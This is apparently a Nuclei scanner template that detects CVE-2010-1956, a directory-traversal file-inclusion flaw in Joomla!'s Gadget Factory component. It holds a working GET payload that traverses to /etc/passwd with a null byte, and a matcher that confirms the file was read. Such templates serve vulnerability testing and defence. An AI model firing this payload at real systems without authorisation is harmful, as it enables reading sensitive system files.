id: CVE-2010-1956

info:
  name: Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Gadget Factory (com_gadgetfactory) component 1.0.0 and 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12285
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1956
    - http://www.exploit-db.com/exploits/12285
    - http://www.thefactory.ro/all-thefactory-products/gadget-factory-for-joomla-1.5.x/detailed-product-flyer.html
    - http://www.vupen.com/english/advisories/2010/0930
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1956
    cwe-id: CWE-22
    epss-score: 0.06055
    epss-percentile: 0.93494
    cpe: cpe:2.3:a:thefactory:com_gadgetfactory:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thefactory
    product: com_gadgetfactory
  tags: cve,cve2010,joomla,lfi,edb,thefactory

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203a83e96012cd7f113f0fc2e3b3d02b3a53062cacddcaa2671d36c7dd1d7310cd022100bb0cd404b62e0a7cc8493c50e0f73412a76dae450223c2bfd32429b522fc59c3:922c64590222798bb761d5b6d8e72950